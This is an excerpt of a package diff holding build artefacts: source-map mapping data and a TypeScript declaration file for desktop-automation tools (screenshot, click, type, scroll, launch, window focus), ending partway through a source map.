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"}

package/dist/src/tools/computer.d.ts

@@ -0,0 +1,88 @@
+import type { ToolResult } from "../types/index.js";
+export interface ComputerScreenshotInput {
+    output_path?: string;
+    app?: string;
+    window_id?: string;
+}
+export interface ComputerSnapshotInput {
+    app?: string;
+    window_id?: string;
+    interactive_only?: boolean;
+    include_bounds?: boolean;
+    compact?: boolean;
+    max_depth?: number;
+    surface?: "window" | "focused" | "menu" | "menubar" | "sheet" | "popover" | "alert";
+}
+export interface ComputerClickInput {
+    ref?: string;
+    x?: number;
+    y?: number;
+    button?: "left" | "right" | "middle";
+    count?: number;
+}
+export interface ComputerMouseMoveInput {
+    ref?: string;
+    x?: number;
+    y?: number;
+    duration_ms?: number;
+}
+export interface ComputerTypeInput {
+    ref: string;
+    text: string;
+}
+export interface ComputerPressInput {
+    key: string;
+    app?: string;
+}
+export interface ComputerScrollInput {
+    ref: string;
+    direction: "up" | "down" | "left" | "right";
+    amount?: number;
+}
+export interface ComputerLaunchInput {
+    app: string;
+    timeout_ms?: number;
+}
+export interface ComputerListWindowsInput {
+    app?: string;
+}
+export interface ComputerFocusWindowInput {
+    app?: string;
+    title?: string;
+    window_id?: string;
+}
+export interface ComputerWaitInput {
+    milliseconds?: number;
+    element?: string;
+    window?: string;
+    text?: string;
+    timeout_ms?: number;
+    app?: string;
+    menu?: boolean;
+    menu_closed?: boolean;
+}
+export interface ComputerGetInput {
+    ref: string;
+    property?: "text" | "value" | "title" | "bounds" | "role" | "states";
+}
+export interface AgentDesktopRunResult {
+    success: boolean;
+    stdout: string;
+    stderr: string;
+    error?: string;
+}
+export type AgentDesktopRunner = (args: string[], cwd: string, abortSignal?: AbortSignal) => Promise<AgentDesktopRunResult>;
+export declare function computerScreenshot(input: ComputerScreenshotInput, cwd: string, abortSignal?: AbortSignal, runner?: AgentDesktopRunner): Promise<ToolResult>;
+export declare function computerSnapshot(input: ComputerSnapshotInput, cwd: string, abortSignal?: AbortSignal, runner?: AgentDesktopRunner): Promise<ToolResult>;
+export declare function computerClick(input: ComputerClickInput, cwd: string, abortSignal?: AbortSignal, runner?: AgentDesktopRunner): Promise<ToolResult>;
+export declare function computerMouseMove(input: ComputerMouseMoveInput, cwd: string, abortSignal?: AbortSignal, runner?: AgentDesktopRunner): Promise<ToolResult>;
+export declare function computerType(input: ComputerTypeInput, cwd: string, abortSignal?: AbortSignal, runner?: AgentDesktopRunner): Promise<ToolResult>;
+export declare function computerPress(input: ComputerPressInput, cwd: string, abortSignal?: AbortSignal, runner?: AgentDesktopRunner): Promise<ToolResult>;
+export declare function computerScroll(input: ComputerScrollInput, cwd: string, abortSignal?: AbortSignal, runner?: AgentDesktopRunner): Promise<ToolResult>;
+export declare function computerLaunch(input: ComputerLaunchInput, cwd: string, abortSignal?: AbortSignal, runner?: AgentDesktopRunner): Promise<ToolResult>;
+export declare function computerListWindows(input: ComputerListWindowsInput, cwd: string, abortSignal?: AbortSignal, runner?: AgentDesktopRunner): Promise<ToolResult>;
+export declare function computerFocusWindow(input: ComputerFocusWindowInput, cwd: string, abortSignal?: AbortSignal, runner?: AgentDesktopRunner): Promise<ToolResult>;
+export declare function computerWait(input: ComputerWaitInput, cwd: string, abortSignal?: AbortSignal, runner?: AgentDesktopRunner): Promise<ToolResult>;
+export declare function computerGet(input: ComputerGetInput, cwd: string, abortSignal?: AbortSignal, runner?: AgentDesktopRunner): Promise<ToolResult>;
+export declare function buildScreenshotPath(cwd: string, outputPath?: string): string;
+export declare function buildAgentDesktopEnv(source?: NodeJS.ProcessEnv): NodeJS.ProcessEnv;

package/dist/src/tools/computer.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"computer.js","sourceRoot":"","sources":["../../../src/tools/computer.ts"],"names":[],"mappings":"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